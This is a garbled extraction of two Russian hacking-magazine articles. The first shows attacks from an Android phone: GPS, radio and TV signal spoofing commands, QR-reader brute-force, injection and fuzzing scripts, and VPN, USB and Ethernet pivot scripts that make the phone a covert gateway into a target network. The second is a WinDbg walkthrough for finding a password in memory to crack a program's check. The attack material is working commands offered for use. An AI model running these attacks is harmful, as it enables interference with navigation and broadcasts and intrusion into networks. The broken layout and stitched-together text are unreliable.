/opt/gps-sdr-sim/gps-sdr-sim -b -d $DURATION -e /opt/gps-sdr-sim/
brdc0010.22n -o /sdcard/gpssim.bin -l $lat $lon

 0      
20 
sudo hackrf_transfer -a -s $RATE -f $FREQ -t /sdcard/gpssim.bin -x

-R
#git clone https://github.com/osqzss/gps-sdr-sim; cd gps-sdr-sim; 
make

В качес тве при мера с рас сто яния нес коль ких мет ров телефон телепор тиру- 
ется в Дубай.

Те лефон с помощью SDR успешно телепор тиру ет дру гой телефон

На самом деле геопо зици они рова ние сов ремен ных мобиль ных телефо нов
дос таточ но умное и выпол няет ся не толь ко по спут никовым сис темам, где,
помимо GPS, есть еще ГЛО НАСС, Galileo и BeiDou, но и по назем ным
источни кам сиг налов — сотовым выш кам, точ кам дос тупа Wi-Fi и встро енным
дат чикам. А сов ремен ное прог рам мное обес печение уме ет опре делять
попыт ки «телепор тации», поэто му сдви гать локацию луч ше плав но по нес- 
коль ку сотен мет ров.

За то авто ном ные GPS-модули более под верже ны такой ата ке. Позици- 
они рова ние в квад рокоп терах или тех нике посерь езнее не руководс тву ется
назем ными источни ками сиг налов, которых в воз духе или море осо бо-то
и нет.

Им пакт от под делки коор динат может быть самый раз нооб разный,
начиная авто мати чес кой посад кой и уго ном дро нов и закан чивая воз дей стви- 
ем на более вну шитель ные тран спортные средс тва. Нап ример, зло умыш- 
ленник, плы вущий на кораб ле, который дви жет ся на авто пило те и ори енти- 
рует ся по спут никам, теоре тичес ки впол не может, манипу лируя с GPS, зас- 
тавить его повер нуть в любую сто рону.

Во обще, по GPS син хро низи рует ся сна чала не мес тополо жение, а вре мя.
И вре мя тоже мож но под делать. Если уста новить неп равиль ное вре мя,
на уяз вимом устрой стве лома ется весь SSL-тра фик, что при некото рых
обсто ятель ствах может при вес ти к отка зу в обслу жива нии.

DMR decode
Дру гим при мером исполь зования SDR может быть перех ват перего воров
с исполь зовани ем раций. Мно гие рации переда ют голос откры то, не обес- 
печивая никако го скрем бли рова ния. Мно гие, полагаю, слы шали чужие
перего воры на дешевых китай ских раци ях.

Для перех вата перего воров ата кующий может выб рать откры тый диапа зон
час тот, на котором работа ет боль шинс тво раций, — око ло 433 МГц — и выс- 
тавить FM-демоду ляцию.

Те лефон с помощью SDR фик сиру ет сиг нал от рации

Мно гие SDR уме ют еще и переда вать сиг налы. Исполь зуя gnuradio-схе му
на рисун ке ниже, ата кующий может отпра вить ауди осооб щение на такую
рацию.

Схе ма кодиро вания ауди офай ла в час тотной модуля ции (FM) для отправ -
ки по радио

С при мене нием такой схе мы мож но отправ лять сиг налы не толь ко в рацию,
но и на обыч ные FM-ради опри емни ки, вме шива ясь в ради оэфир.

Не все рации переда ют голос в откры том виде. Те, в которых исполь зует ся
кодиро вание, тоже могут быть прос лушаны:

apt install pulseaudio-utils 
 dsdgit clone https://github.com/szechyjs/dsd; cd ; cmake --build 

build 
 - socat udp-listen:7355 - | padsp /opt/dsd/build/dsd -i -o /dev/dsp 

На прак тике мне встре чались рации, в нас трой ках которых было акти виро- 
вано скрем бли рова ние, одна ко голос они все рав но переда вали в откры том
виде.

Как это может исполь зовать зло умыш ленник? Пред ставь, что охра на коор- 
диниру ет свои дей ствия по рации. Потен циаль ный зло дей, жела ющий про- 
ник нуть на зак рытую тер риторию, что бы раз местить там свою аппа рат ную
зак ладку, может таким обра зом прос лушивать перего воры охра ны. А какой
эффект он получит, если отпра вит охранни кам лож ное сооб щение?

TV spoofing
Те леви зион ный сиг нал так же мож но ата ковать с помощью SDR-устрой ств.
В зависи мос ти от типа телеве щания зло умыш ленник может вос поль зовать ся
спе циаль ным откры тым ПО и сге нери ровать модули рован ный сиг нал, заг- 
лушив им ори гиналь ный источник телет ран сля ции. Прав да, сто ит иметь
в виду локаль ный харак тер ата ки, пок рыва ющий отно ситель но неболь шую
тер риторию. Но если учесть, что ата ка может выпол нять ся с помощью все го
лишь двух кар манных устрой ств (HackRF и телефо на), зло умыш ленник в сос- 
тоянии ком пенси ровать этот недос таток, подой дя мак сималь но близ ко
к целям.

Àíàëîãîâîå ÒÂ
Ис поль зуя SDR и сле дующее ПО, мож но модули ровать любой виде офайл
в сиг нал ана лого вого ТВ:

git clone https://github.com/fsphil/hacktv 
hacktv -o output.bin -f 512000000 -s 8000000 -m ntsc input.mp4 

 0  47 hackrf_transfer -a -s 8000000 -f 512000000 -t output.bin -x

Öèôðîâîå ýôèðíîå ÒÂ (DVB-T)
Ис поль зуя SDR и сле дующее ПО, мож но модули ровать любой виде офайл
в сиг нал циф рового эфир ного ТВ:

git clone https://github.com/drmpeg/dtv-utils 
:v  .mp4 ffmpeg -i test.mp4 -vcodec copy -c 'mpeg2video' in

.mp4 python3 dvbt-blade.py -f 674000000 in

Öèôðîâîå ñïóòíèêîâîå ÒÂ (DVB-S)
Точ но так же зло умыш ленник может пос тупить и со спут никовым ТВ, тран сли- 
руя с помощью дос тупно го ПО любой виде офайл:

git clone https://github.com/drmpeg/gr-dvbs 
./dvbs_tx_hackrf.py 

Воз можность под делать теле- и ради осиг нал может иметь весь ма вну- 
шитель ный импакт. Вооб ще, тема исполь зования SDR неверо ятно обширная
и зас лужива ет отдель ной кни ги. Здесь же я при вожу лишь нес коль ко самых
прос тых и извес тных атак, реали зация которых не тре бует дол гой нас трой ки.

Продолжение статьи →
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QR

Мо биль ный телефон удоб но исполь зовать для атак на QR-счи тыва тели.
С QR-кодами ата кующий может сде лать, в общем-то, немало:
брут форс, что бы обой ти про вер ку;•
фаз зинг, что бы выз вать ошиб ку, отказ в обслу жива нии или даже внед рить
какой-то код;

•

injection, внед рить SQL-инъ екцию или сис темный код ОС.•

Сге нери ровать QR-код для чего угод но мож но с помощью соот ветс тву ющей
Python-биб лиоте ки и кон соли:

pip3 install qrcode 
qr     --ascii "test" # Для текстовых данных

   cat data.bin | qr --ascii # Для двоичных данных

Что бы сге нерить QR-код пря мо в кон соли в инте рак тивном режиме или при- 
нимая дан ные от дру гих скрип тов, мож но исполь зовать неболь шой сце нарий:

qr/encode.sh
#!/bin/bash

clear 
qr 2> /dev/null 

Все, что он дела ет, — пред варитель но очи щает экран, что бы код рисовал ся
на одной и той же области дис плея телефо на. Пос ле это го генерит QR-код,
ожи дая дан ные в sdtin.

Но если ата кующий собира ется что-то фаз зить или бру тить, то ему нужен
эта лон ный обра зец дан ных из QR-кода. Для декоди рова ния про ще все го
исполь зовать любое мобиль ное при ложе ние, спе циаль но пред назна чен ное
для это го. Некото рые телефо ны уме ют это делать даже встро енной камерой.
Но для фанатов кон соли и авто мати зации мож но вос поль зовать ся Linux-рас- 
позна вал кой QR-кодов:

qr/decode.sh
#!/bin/bash

  1     [[ $# -ge ]] && out="$1" || out='data'

0 CAM=
photo=$(~/android/camera.sh $CAM)

  convert "$photo" -resize '20%' /tmp/qr.jpg
   if zbarimg --raw --oneshot -Sbinary /tmp/qr.jpg > "$out" 2> /dev/null 

then
   xxd < "$out"
      echo '' >> "$out"
fi
rm /tmp/qr.jpg 

 rm "$photo"

Скрипт, исполь зуя Termux-API, дела ет сни мок камерой, сжи мает изоб- 
ражение и выпол няет рас позна вание с помощью ути литы zbarimg. Для даль- 
нейше го исполь зования рас кодиро ван ные дан ные сох раня ются в файл.

Да лее, задей ство вав прос тей ший цикл на Bash, мож но запус тить уже
перебор некото рых зна чений, зашиф рован ных в QR-коде:

qr/brute.sh
#!/bin/bash

  1     100 [[ $# -ge ]] && iters="$1" || iters=

 0  i++for ((i= ; i<$iters; ))
  do cat data | sed -rn "s/.$/$i/p" | encode.sh 

done

Та кой код прос то меня ет пос ледний сим вол от 0 до 100.

Тур никет, исполь зующий для иден тифика ции QR-коды

Те оре тичес ки впол не допус тимо, что сис тема для кон тро ля дос тупа
руководс тву ется поряд ковыми номера ми. Зло умыш ленник, сфо тог рафиро вав
чей-то QR-код, может поп робовать переб рать такие поряд ковые номера
в надеж де уга дать код и обой ти тем самым кон троль дос тупа.

Час то быва ет, что в QR-коде зашиф рована обыч ная URL-стро ка или ее
фраг мент. Нап ример, поч ти во всех магази нах мож но встре тить вот такие
тер миналы, ожи дающие иден тифика тор товара.

Иден тифика тор товара явно под став ляет ся в SQL-зап рос

Та кие тер миналы — потен циаль ная точ ка про ник новения: дан ные, которые
вво дят ся пос редс твом кодиров ки QR, могут небезо пас но под став лять ся
в базы дан ных и быть уяз вимы к SQL-инъ екци ям или к пря мому внед рению
команд ОС.

С помощью сле дующе го нехит рого скрип та мож но прог нать какой-нибудь
сло варь, узко заточен ный под ту или иную уяз вимость.

qr/injection.sh
#!/bin/bash

  1       [[ $# -ge ]] && wordlist="$1" || read -p 'wordlist: ' wordlist 
0.5 TIMEOUT=

  | cat "$wordlist" while read payload 
do

  data echo -n "$(cat )${payload}" | encode.sh 
  sleep $TIMEOUT
done

Что каса ется товаров, то обыч но в QR-коде зашиф ровано толь ко зна чение,
а не весь URL целиком, поэто му скрипт прос то дописы вает payload в кон це.
Впро чем, в QR-коде может быть зашиф ровано вооб ще что угод но — URL
или длин ная hex-стро ка.

Слег ка изме нив цикл, мож но запус тить мутаци онный фаз зинг с помощью
radamsa:

qr/fuzz.sh
#!/bin/bash

200 MAX_SIZE=
0.5 TIMEOUT=

_out= $RANDOM
 mkdir $out

 1  i++for ((i= ; i>0; ))
do

 1 |   1-   /cat data | radamsa -n cut -b $MAX_SIZE > $out $i
/./encode.sh < $out $i

 sleep $TIMEOUT
done

Фаз зер radamsa слу чай ным обра зом иска жает эта лон ные дан ные в исходном
QR-коде. Он уме ет рас позна вать прос тей шие струк туры, такие как стро ки
и чис ла, а так же име ет мощ ный мутаци онный дви жок и выпол няет тес тирова- 
ние на ошиб ки при работе как с тек сто выми дан ными или юни кодом, так и с
дво ичны ми дан ными. Это откры вает ата кующе му воз можность все го за нес- 
коль ко секунд прис тупить к фаз зинг-тес тирова нию, даже не вни кая в под- 
робнос ти типов дан ных, зашиф рован ных в QR-коде.

На рисун ке ниже наг лядно показа но, как QR-счи тыва тель начина ет при- 
нимать иска жен ные дан ные.

Фаз зинг закоди рован ных в QR дан ных

На одном из вен динго вых авто матов по про даже еды подоб ным фаз зингом
уда лось добить ся выпол нения про изволь ной коман ды ОС и выз вать каль- 
кулятор, пред варитель но повер нув экран на 90° и спро воци ровав нес коль ко
оши бок в ПО.

POST

Те лефон мож но исполь зовать не толь ко для атак, но и как средс тво пре дос- 
тавле ния дос тупа. Нап ример, сидя на ресеп шене, ата кующий может рас- 
шарить через VPN свой mon-интерфейс для атак на Wi-Fi, тем самым пре дос- 
тавив дос туп к бес про вод ным сетям напар никам, ведь им с ноут бука работать
все рав но удоб нее. Это, кста ти, уже было про демонс три рова но в статье
« ».Гроз ный ана нас. Собира ем и при меня ем свой Wi-Fi Pineapple

Бо лее того, так как телефон име ет встро енный 4G, он может исполь- 
зовать ся еще и как шлюз для скры того под клю чения к ата куемой сети. В этом
слу чае с помощью VPN, откры того через 4G на телефо не, мож но орга низо- 
вать линк в ата куемую сеть из любой точ ки мира.

Сна чала тре бует ся нас тро ить на телефо не сам VPN. Про ще все го его
реали зовать с помощью OpenVPN. Для мак сималь ного удобс тва мар шру- 
тиза ции луч ше исполь зовать L2-тун нель (tap). Такой тун нель поз воля ет ата- 
кующим находить ся на рас сто янии одно го хопа для удобс тва мар шру тиза ции.
Одна ко соот ветс тву ющее при ложе ние для Android не пре дос тавля ет воз- 
можнос ти исполь зовать тун нель в фор ме L2. Но его под дер жка при сутс тву ет
в ядре, и его мож но исполь зовать, прос то добавив соот ветс тву ющее сим- 
воль ное устрой ство:

vpn.sh
#!/bin/bash

    if [ ! -r /dev/net/tun ]; then
       sudo mkdir /dev/net 
       sudo mknod /dev/net/tun c 10 200 
fi

 set -m
sudo openvpn --config ~/vds.ovpn --route-noexec & 

 tap0  1  while ! ip r | grep ; do sleep ; done

 
   5

table=$(ip r show table all|grep tap0|grep table|grep -v local|head 
-n 1|cut -d ' ' -f )
sudo ip r add 172.16.0.0/24 dev tap0 table $table
sudo ip rule add to 172.16.0.0/24 lookup $table

 echo "tap0 table: $table"
#sudo ip r add 192.168.0.0/16 via 172.16.0.30 table $table
#sudo ip rule add to 192.168.0.0/16 lookup $table

 % fg
sudo ip rule del to 172.16.0.0/24 lookup $table

Ис поль зование такого тун неля упро щает даль нейшую мар шру тиза цию
к сетям или устрой ствам, к которым под клю чен хакер ский телефон.

Те перь чуть более под робно рас ска жу о каж дом сце нарии.

POST-wlan
Пос мотрим, как может быть выпол нена орга низа ция уда лен ного дос тупа к Wi-
Fi через телефон.

Все, что нуж но сде лать, — это нем ного изме нить мар шру тиза цию
на телефо не, что бы пакеты с VPN начали заходить в ата куемый Wi-Fi.
На Android мар шру тиза ция не про писы вает ся в дефол тную таб лицу main,
как это обыч но быва ет. Вмес то это го для каж дого интерфей са авто мати чес ки
фор миру ется своя таб лица ( ), для свя зи с которой соз- 

дает ся допол нитель ный набор пра вил ( ). Эти пра вила час- 

то вклю чают усло вия мар киров ки пакетов при помощи встро енно го фай рво- 
ла, с исполь зовани ем еще более гиб ких пра вил ( ).

ip r show table all
ip rule show all

iptables -t mangle -vnL
В ито ге это все та же мар шру тиза ция Linux, но силь но раз битая по таб- 

лицам, что нем ного усложня ет понима ние общей кар тины. Но все, что тре- 
бует ся знать, — какой номер таб лицы у нуж ного интерфей са. Затем нуж но
добавить в эту таб лицу необ ходимые мар шру ты и про писать для них соот- 
ветс тву ющее пра вило, ука зыва ющее на эту таб лицу:

wifi/gw.sh
#!/bin/bash

   
|   1 |     7
table=$(ip r show table all | grep wlan0 | grep table | grep -v local
head -n cut -d ' ' -f )

sudo ip rule add iif tap0 lookup $table

1 sudo sysctl -w net.ipv4.ip_forward=
 nat sudo iptables -t -A tetherctrl_nat_POSTROUTING -o wlan0 -s 0.0.0.

0/0 -d 0.0.0.0/0 -j MASQUERADE 
sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP 

Те перь, прос то под клю чив шись по Wi-Fi к целевой сети, телефон зло умыш- 
ленни ка ста нет шлю зом для его кол лег, которые могут занять ся даль нейшим
прод вижени ем, пока тот безобид но сидит в хол ле или идет по тер ритории,
пре одо лев кон троль но-про пус кной пункт. На уда лен ном ком пе нуж но лишь
ука зать мар шрут до инте ресу ющей сети через IP-адрес телефо на на VPN:

route add -net 192.168.0.0/16 gw $mobile

POST-USB
Под клю чив телефон по USB к компь юте ру, зло умыш ленник может получить
к нему скры тый сетевой дос туп, акти виро вав уже извес тные по 
USB-гад жеты. Для это го тре бует ся изме нить мар шру тиза цию телефо на
для про хож дения пакетов от VPN в сто рону компь юте ра по USB:

BadUSB-ETH

badusb/eth/gw.sh
#!/bin/bash

    
 

if ! grep -q configfs /proc/mounts; then sudo mount -t configfs none 
/sys/kernel/config; fi

cd /sys/kernel/config/usb_gadget/g1 
echo 0xff88|sudo tee idProduct 
echo 0x2717|sudo tee idVendor
echo 549839c4 | sudo tee strings/0x409/serialnumber 
echo rndis_adb | sudo tee configs/b.1/strings/0x409/configuration 

 sudo ln -s functions/gsi.rndis configs/b.1/f2 
  | UDC echo "" sudo tee 
    | UDC echo `ls -1 /sys/class/udc/ | head -1` sudo tee 

ssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config 
rndis,none,adb'"

 - cd

1 sleep 
sudo ifconfig rndis0 up 
sudo dnsmasq --conf-file=dnsmasq.conf -p0

  1 sudo tcpdump -i rndis0 -nn -c # waiting a connection

1 sleep 
sudo ifconfig rndis0 up 
sudo ip a add 192.168.42.1/24 broadcast 192.168.42.255 dev rndis0 
sudo ip r add 192.168.42.0/24 dev rndis0 table 97 
sudo ip rule add to 192.168.42.0/24 lookup 97 
#sudo ip rule add from all iif lo oif rndis0 lookup 97

1 sudo sysctl -w net.ipv4.ip_forward=
 nat sudo iptables -t -A tetherctrl_nat_POSTROUTING -o rndis0 -s 0.0.

0.0/0 -d 0.0.0.0/0 -j MASQUERADE 
sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP 

  read -p 'press Enter when finish' stop 

sudo iptables -A tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP 
 nat sudo iptables -t -D tetherctrl_nat_POSTROUTING -o rndis0 -s 0.0.

0.0/0 -d 0.0.0.0/0 -j MASQUERADE 

sudo killall dnsmasq 

#sudo ip rule del from all iif lo oif rndis0 lookup 97
sudo ip rule del to 192.168.42.0/24 lookup 97 

Здесь запус кает ся эму ляция сети по USB. Далее комп зап рашива ет у телефо- 
на нас трой ки сети по DHCP, и в этот момент нуж но выдать ему скры тую кон- 
фигура цию без ука зания шлю за, что бы не нарушить изна чаль ную мар шру- 
тиза цию:

badusb/eth/dnsmasq.conf
domain=fake.net 
interface=rndis0 
dhcp-range=192.168.42.100,192.168.42.110,24h 
dhcp-option=1,255.255.255.0 

Те перь с помощью такого телефо на, под клю чен ного по USB, через VPN мож- 
но получить уда лен ный сетевой канал до компь юте ра и вос поль зовать ся этим
для раз вития пос леду ющих атак или кон тро ля над компь юте ром.

По доб ного эффекта, но в ином форм-фак торе мож но так же добить ся
с помощью 4G-модема, опи сан ного в статье «

».
Опас ный модем. Зак репля емся

в ата кован ной сис теме при помощи USB-модема

POST-ETH
Ана логич но мож но исполь зовать телефон и для пре дос тавле ния уда лен ного
дос тупа к локаль ной сети по про воду. Ранее в этой статье уже рас смат- 
ривались вари анты исполь зования внеш него Ethernet-адап тера. При веден- 
ный ниже скрипт нем ного перекон фигури рует сетевые нас трой ки телефо на
так, что бы тра фик с VPN-интерфей са мог пой ти в под клю чен ный Ethernet-
адап тер:

eth/gw.sh
#!/bin/bash

   3vpn=$(ip r|grep -e tun0 -e tap0|grep src|cut -d ' ' -f )
 

   5
table=$(ip r show table all|grep eth0|grep table|grep -v local|head 
-n 1|cut -d ' ' -f )
#sudo ip r add 192.168.0.0/16 via 192.168.9.1 table $table
#sudo ip rule add to 192.168.0.0/16 lookup $table
sudo ip rule add iif $vpn lookup $table

1 sudo sysctl -w net.ipv4.ip_forward=
 nat sudo iptables -t -A tetherctrl_nat_POSTROUTING -o eth0 -s 0.0.0.

0/0 -d 0.0.0.0/0 -j MASQUERADE 
sudo iptables -D tetherctrl_FORWARD -s 0.0.0.0/0 -d 0.0.0.0/0 -j DROP 

Зак репле ние может выг лядеть так, как показа но на рисун ке ниже.

Те лефон в режиме шлю за пре дос тавля ет сетевой дос туп по VPN во внут -
реннюю сеть через Ethernet

Тот, кто получа ет подоб ный дос туп в локаль ную сеть через телефон, работа ет
с куда боль шим ком фортом, чем сам зло умыш ленник с телефо ном
без физичес кой кла виату ры. Но нич то не меша ет под клю чить ее и исполь- 
зовать смар тфон для пол ноцен ных атак в локаль ной сети уже самос тоятель- 
но, пря мо с мобилы.

Те лефон прев раща ется в пол ноцен ное рабочее мес то ата кующе го

Да же если у внут ренне го наруши теля нет ноут бука, но есть телефон, то он
ничуть не менее опа сен.

ÂÛÂÎÄÛ

Ре аль ный взлом со смар тфо на или любого дру гого устрой ства может
не отли чать ся от того, что показа но в играх или в кино. Единс твен ное отли- 
чие — вре мя, которое занима ет ата ка. В зависи мос ти от слож ности реаль ной
сис темы, для про ник новения могут пот ребовать ся часы, дни или даже
месяцы. Тем не менее любая из пред став ленных атак осу щес тви ма.

В этой статье и в матери але «
» наг лядно про демонс три рова но, что зло умыш ленник

с телефо на может реали зовать не толь ко общие ата ки, но и спе цифич ные,
вос про изво димые толь ко с телефо на или спе циаль ного обо рудо вания. Сама
по себе эта статья не про ата ки, а про их реали зацию на самой неп римет ной
плат форме — телефо не. Сущес тву ет ли какая-то защита от этих атак, если
телефон сей час есть абсо лют но у каж дого?

Ки бер фон. Прев раща ем телефон на Android
в инс тру мент хакера

Ког да ты защища ешь какой-то кри тич ный объ ект, воз можно, будет нелиш- 
ним огра ничить исполь зование телефо нов. Таким обра зом, меры защиты
от подоб ных атак сво дят ся к физичес кому кон тро лю дос тупа пос торон них
лиц, а так же к огра ниче нию исполь зования телефо на в тех зонах, где рас-
положе ны кри тич ные объ екты информа цион ной инфраструк туры.

Этой стать ей мы зак рыва ем серию пуб ликаций, пос вящен ных при емам
взло ма и физичес ким ата кам с исполь зовани ем под ручных устрой ств. Цикл,
начатый в янва ре это го года и воп лощен ный в десят ке ста тей, зат ронул мно- 
жес тво при меров атак и устрой ств.

Из началь но, опи раясь лишь на обще дос тупные устрой ства, изоб ражен ные
в цен тре гра фа, зло умыш ленник прев раща ет их в хакер ские инс тру мен ты.
И далее каж дый из них с исполь зовани ем той или иной тех нологии дает ему
воз можность раз вивать необ ходимые ата ки. В ито ге подоб ным обра зом дос- 
тига ются самые раз нооб разные эффекты: от безобид ного отка за в обслу- 
жива нии до пол ного кон тро ля над целью.

На про тяже нии все го цик ла ста тей мы ни разу не вос поль зовались
для атак ноут буком и тем самым про демонс три рова ли, что компь ютер —
далеко не единс твен ный инс тру мент потен циаль ного зло умыш ленни ка.

https://xakep.ru/2023/04/18/diy-pineapple/
https://xakep.ru/2023/02/22/badusb-eth/
https://xakep.ru/2023/03/16/evil-modem/
https://xakep.ru/2023/05/30/hacking-smartphone/
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ВЗЛОМ

Что бы иметь воз можность ломать прог раммы, на стра же
которых сто ят хит рые защит ные механиз мы, нуж но уметь эти
механиз мы находить. В сегод няшней статье мы покажем,
как это дела ют, а в кон це раз берем при мер работы с гра- 
фичес ким при ложе нием.

«Фундаментальные основы хакерства»

Пе ред тобой уже во вто рой раз обновлен ная вер сия цик ла «Фун дамен таль- 
ные осно вы хакерс тва». В 2018 году Юрий Язев изме нил текст Кри са Кас пер- 
ски для соот ветс твия новым вер сиям Windows и Visual Studio, а теперь внес
прав ки с уче том отладки прог рамм для 64-раз рядной архи тек туры.

Чи тай так же улуч шенные вер сии прош лых ста тей цик ла:
1. Учим ся ана лизи ровать прог раммы для x86-64 с нуля
2. Ис поль зуем отладчик для ана лиза 64-раз рядных прог рамм в Windows
3. На ходим реаль ные адре са инс трук ций в исполня емых фай лах x86-64

Все новые вер сии ста тей дос тупны без плат ной под писки.

Цикл «Фун дамен таль ные осно вы хакерс тва» со все ми обновле ниями опуб- 
ликован в виде кни ги,  ее по выгод ной цене ты можешь на сай те изда- 
тель ства «Солон-пресс».

ку пить

В прош лой статье цик ла мы узна ли, как соот нести адре са бай тов в вир туаль- 
ной памяти с их реаль ным рас положе нием на носите ле. Это пот ребова ло
от нас нап рячь мозг и при менить матема тику. Меж ду тем, как мы уви дели
из пре дыду щих ста тей, непос редс твен ный взлом, ког да извес тно мес торас- 
положе ние защит ного механиз ма, пред став ляет собой эле мен тарную задачу,
которую лег ко решить с помощью Hiew или дру гого редак тора PE-фай лов.

WWW

Ма тери алы к статье на GitHub

ÑÏÎÑÎÁ 1. ÏÐßÌÎÉ ÏÎÈÑÊ ÂÂÅÄÅÍÍÎÃÎ ÏÀÐÎËß Â ÏÀÌßÒÈ

Па роль, хра нящий ся в теле прог раммы откры тым тек стом, — ско рее из ряда
вон выходя щее исклю чение, чем пра вило. К чему услу ги хакера, если пароль
и без того виден нево ору жен ным гла зом? Поэто му раз работ чики защиты вся- 
чес ки пыта ются скрыть его (о том, как имен но они это дела ют, мы погово рим
поз же).

Впро чем, учи тывая раз мер сов ремен ных дис три бути вов, прог раммист
может без осо бого тру да помес тить пароль в любом заваля щем фай ле,
попут но снаб див его «кря куша ми» — стро ками, выг лядящи ми как пароль,
но паролем не явля ющи мися. Поп робуй раз берись, где тут липа, а где нет,
тем более что под ходящих на эту роль строк в про екте сред ней величи ны
может быть нес коль ко сотен, а то и тысяч!

Да вай подой дем к решению проб лемы от обратно го — будем искать
не исходный пароль, который нам неиз вестен, а ту стро ку, которую мы скор- 
мили прог рамме в качес тве пароля. А най дя, уста новим на нее бряк, и даль- 
ше всё точ но так же, как и рань ше. Бряк всплы вает на обра щение по срав- 
нению, мы выходим из срав нива ющей про цеду ры, кор ректи руем  и...JMP

Взгля нем еще раз на исходный текст лома емо го нами при мера
:passCompare1.cpp

for(;;)
{
   printf("Enter password:");
   fgets(&buff[0],PASSWORD_SIZE,stdin);
    if (strcmp(&buff[0],PASSWORD))
       printf("Wrong password\n");
    else break;
      if (++count>2) return -1;
}

Об рати вни мание — в  чита ется вве ден ный поль зовате лем пароль, срав- 

нива ется с ори гина лом, затем (при неудач ном срав нении) зап рашива ется
еще раз, но (!) при этом  не очи щает ся! Отсю да сле дует, что, если пос ле
выдачи ругатель ства «Wrong password» выз вать отладчик и прой тись
по памяти кон текс тным поис ком, мож но обна ружить тот завет ный ,

а осталь ное уже дело тех ники!

buff

buff

buff

Итак, прис тупим (мы еще не зна ем, во что мы ввя зыва емся, — но, увы,
в жиз ни все слож нее, чем в теории). На этот раз запус тим 

отдель но от отладчи ка. Затем под клю чим ся к про цес су из отладчи ка («Attach
to process» в WinDbg). Обра ти вни мание: в окне выбора про цес са отоб ража- 
ются все запущен ные про цес сы и для каж дого из них выводит ся его раз- 
рядность в стол бце Platform. Вво дим любой при шед ший на ум пароль (нап- 
ример, ), про пус каем воз мущен ный вопль Wrong мимо

ушей и в отладчи ке нажима ем Break (сочета ние кла виш Alt-Del).

passCompare1.exe

KPNC Kaspersky++

Ок но со спис ком про цес сов для выбора

Поп робу ем отыс кать в памяти вве ден ный пароль:

0:004> s -a 0x0 L? 0x7FFFFFFFFFF "KPNC Kaspersky" 

Ïîÿñíåíèÿ
Пер вый параметр пос ле коман ды  — флаг  — опре деля ет цель поис ка
как набор ASCII-сим волов. Вто рой параметр — сме щение, по которо му
начать искать. Вооб ще-то начинать поиск с нулево го сме щения — идея глу- 
пая. Судя по кар те памяти, здесь рас положен слу жеб ный код и иско мого
пароля быть не может. Впро чем, это ничему не вре дит, и так гораз до быс- 
трее, чем раз бирать ся, с какого адре са заг ружена прог рамма и отку да имен- 
но начинать поиск.

s -a

Тре тий параметр — вер хний пре дел поис ка, то есть докуда надо искать.
Так как в 64-бит ной Windows адресное прос транс тво про цес са огра ниче- 
но 8 Тбайт, вер хний лимит сос тавля ет . Пос ледний
параметр — собс твен но иско мая стро ка. Обра ти вни мание, что мы ищем
не всю стро ку, а толь ко ее часть (  про тив 

). Это поз воля ет изба вить ся от лож ных сра баты ваний, воз ника- 
ющих из-за ссы лок на внут ренние буфера.

0x7FFFFFFFFFF

KPNC Kaspersky++ KPNC 
Kaspersky

Ðåçóëüòàò
0000002f10effe30 4b 50 4e 43 20 4b 61 73-70 65 72 73 6b 79 2b 2b  
KPNC Kaspersky++ 
000001dcd30f2580 4b 50 4e 43 20 4b 61 73-70 65 72 73 6b 79 2b 2b  
KPNC Kaspersky++ 

Це лых два вхож дения! Почему два? Пред положим, что при чте нии вво да
с кла виату ры сим волы спер ва попада ют в сис темный буфер, который и дает
лож ное сра баты вание. Тем не менее не ста вить же, не разоб равшись, сра зу
обе точ ки оста нова. В дан ном слу чае четырех отла доч ных регис тров про цес- 
сора хва тит, а как быть, если мы най дем десяток вхож дений? Да и в двух бря- 
ках немуд рено заб лудить ся с неп ривыч ки! Как отфиль тро вать помехи?

Íà÷èíàåì äóìàòü ãîëîâîé
На помощь при ходит кар та памяти — зная вла дель ца реги она, которо му при-
над лежит буфер, мож но очень мно гое ска зать об этом буфере. Нас коро
набив уже зна комую коман ду , мы получим приб лизитель- 
но сле дующее (выб раны све дения толь ко о сек циях  и ):

!dh passCompare1
.data .rdata

SECTION HEADER #2 
 .rdata name 
   101C virtual size 
   2000 virtual address 
   1200 size of raw data 
   1400 file pointer to raw data 
      0 file pointer to relocation table 
      0 file pointer to line numbers 
      0 number of relocations 
      0 number of line numbers 
40000040 flags 
        Initialized Data 
        (no align specified)
        Read Only 

SECTION HEADER #3 
  .data name 
    638 virtual size 
   4000 virtual address 
    200 size of raw data 
   2600 file pointer to raw data 
      0 file pointer to relocation table 
      0 file pointer to line numbers 
      0 number of relocations 
      0 number of line numbers 
C0000040 flags 
        Initialized Data 
        (no align specified)
        Read Write 

За одно опре делим базовый адрес модуля при ложе ния: 

(в моем кон крет ном слу чае он равен , а у тебя зна чение, ско- 

рее все го, будет дру гим). Узна ем, куда в памяти заг ружена сек ция :

lmf m passCompare1
0x7ff7d78f0000

.rdata

0x7ff7d78f0000 + 0x2000 == 0x7ff7d78f2000 

И куда заг ружена сек ция :.data

0x7ff7d78f0000 + 0x4000 == 0x7ff7d78f4000 

Это гораз до выше най ден ных адре сов рас положе ния буферов с вве ден ным
паролем. Сле дова тель но, най ден ные адре са не ука зыва ют в области 

и .

.data
.rdata

Ду маем даль ше. Адрес  выходит далеко за пре делы лома- 

емо го при ложе ния, и вооб ще непонят но, чему он при над лежит. Почесав
затылок, мы вспом ним о такой «вкус ности» Windows, как куча (heap).
С помощью коман ды  пос мотрим, где она начина ется:

0x1dcd30f2580

!heap

0:004> !heap 
Heap Address  NT/Segment Heap 
1dcd30e0000       NT Heap 
1dcd2fd0000       NT Heap 

Из это го зак люча ем, что адрес  явно находит ся в куче.0x1dcd30f2580
Раз бира емся даль ше. Пос коль ку стек рас тет свер ху вниз (то есть от стар- 

ших адре сов к млад шим), адрес  явно находит ся в сте ке. Уве- 

рен ность подог рева ет тот факт, что боль шинс тво прог раммис тов раз меща ет
буфера в локаль ных перемен ных, ну а локаль ные перемен ные, в свою оче- 
редь, раз меща ются ком пилято ром в сте ке.

0x2f10effe30

Ну что, поп робу ем пос тавить бряк по пер вому адре су?

0:004> ba r4 0x2f10effe30 
0:004> g 

На вто ром зап росе пароля сно ва вво дим . Жмем Enter

и дожида емся сиюми нут ной акти вации отладчи ка. Бряк про изо шел на вто рой
из этих строк:

KPNC Kaspersky++

00007ffb`5d3c4ffc 8806        mov  byte ptr [rsi], al 
